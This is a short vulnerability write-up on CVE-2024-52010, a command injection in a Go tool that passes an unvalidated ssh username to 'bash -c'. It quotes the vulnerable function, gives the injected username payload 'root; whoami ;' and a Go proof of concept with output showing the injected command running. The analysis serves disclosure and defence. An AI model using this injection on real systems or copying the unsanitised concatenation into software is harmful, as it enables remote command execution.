Kevin K Kien

CVE-2024-52010 OS Command Injection

14 Nov 2024

Sumary

OS Command Injection is vulnerability allow attack can excute command of os on the application. This is critical vulnerability because attacker can RCE system and take control system. In the CVE-2024-52010, application use golang and run command ssh to perform ssh to the system. However, variable username is input but not validate and used for user when remote. Vulnerability at here, attacker can insert command of os in to username and excute command.

Analysis Code

I have a function

func (i *Instance) CreateNewConnection(listenPort int, username string, remoteIpAddr string, remotePort int) error {
	//Create a gotty instance
	connAddr := remoteIpAddr
	if username != "" {
		connAddr = username + "@" + remoteIpAddr
	}
	configPath := filepath.Join(filepath.Dir(i.ExecPath), ".gotty")
	title := username + "@" + remoteIpAddr
	if remotePort != 22 {
		title = title + ":" + strconv.Itoa(remotePort)
	}

	sshCommand := []string{"ssh", "-t", connAddr, "-p", strconv.Itoa(remotePort)}
	cmd := exec.Command(i.ExecPath, "-w", "-p", strconv.Itoa(listenPort), "--once", "--config", configPath, "--title-format", title, "bash", "-c", strings.Join(sshCommand, " "))
	cmd.Dir = filepath.Dir(i.ExecPath)
	cmd.Env = append(os.Environ(), "TERM=xterm")
	cmd.Stdout = os.Stdout
	cmd.Stderr = os.Stderr
	go func() {
		cmd.Run()
		i.Destroy()
	}()
	i.tty = cmd
	i.AssignedPort = listenPort
	i.RemoteAddr = remoteIpAddr
	i.RemotePort = remotePort

	//Create a new proxy agent for this root
	path, err := url.Parse("http://127.0.0.1:" + strconv.Itoa(listenPort))
	if err != nil {
		return err
	}

	//Create new proxy objects to the proxy
	proxy := reverseproxy.NewReverseProxy(path)

	i.conn = proxy
	return nil
}

You see input of CreateNewConnection function include: listenPort, username, remoteIpAddr, remotePort. In there, username and remoteIpAddr is string and perform concatenate string.

connAddr := remoteIpAddr
	if username != "" {
		connAddr = username + "@" + remoteIpAddr
	}

After, code prepare for command ssh to perform ssh to remoteIpAddr.

sshCommand := []string{"ssh", "-t", connAddr, "-p", strconv.Itoa(remotePort)}

At here, there is not any validate for string connAddr. And vulnerability will happen at cmd := exec.Command(i.ExecPath, "-w", "-p", strconv.Itoa(listenPort), "--once", "--config", configPath, "--title-format", title, "bash", "-c", strings.Join(sshCommand, " "))

Exploit

To the exploit, i have a payload with input for username:

root; whoami ;

and remoteIpAddr = 127.0.0.1. Finnaly, connAddr = root; whoami @127.0.0.1.

I perform rewrite code with payload and demo vulnerability:

package main

import (
	"fmt"
	"os"
	"os/exec"
	"path/filepath"
	"strconv"
	"strings"
)

type Instance struct {
	ExecPath     string
	AssignedPort int
	RemoteAddr   string
	RemotePort   int
}

func (i *Instance) CreateNewConnection(listenPort int, username string, remoteIpAddr string, remotePort int) error {
	connAddr := remoteIpAddr
	if username != "" {
		connAddr = username + "@" + remoteIpAddr
	}

	title := connAddr
	if remotePort != 22 {
		title = title + ":" + strconv.Itoa(remotePort)
	}

	sshCommand := []string{"ssh", "-t", connAddr, "-p", strconv.Itoa(remotePort)}
	fullCommand := strings.Join(sshCommand, " ")

	cmd := exec.Command("bash", "-c", fullCommand)
	cmd.Dir = filepath.Dir(i.ExecPath)
	cmd.Env = append(os.Environ(), "TERM=xterm")
	cmd.Stdout = os.Stdout
	cmd.Stderr = os.Stderr

	fmt.Printf("Executing command: %s\n", fullCommand)

	err := cmd.Run()
	if err != nil {
		return err
	}

	return nil
}

func main() {
	instance := Instance{ExecPath: "/bin/bash"}
	
	err := instance.CreateNewConnection(8080, "ahihi; whoami #", "127.0.0.1", 22)
	if err != nil {
		fmt.Println("Error:", err)
	}
}

After, i run with command go run main.go and get result

ubuntu@ip-172-31-22-90:~/Research/Go/oscommand$ go run main.go 
Executing command: ssh -t ahihi; whoami #@127.0.0.1 -p 22
Pseudo-terminal will not be allocated because stdin is not a terminal.
ssh: Could not resolve hostname ahihi: Temporary failure in name resolution
ubuntu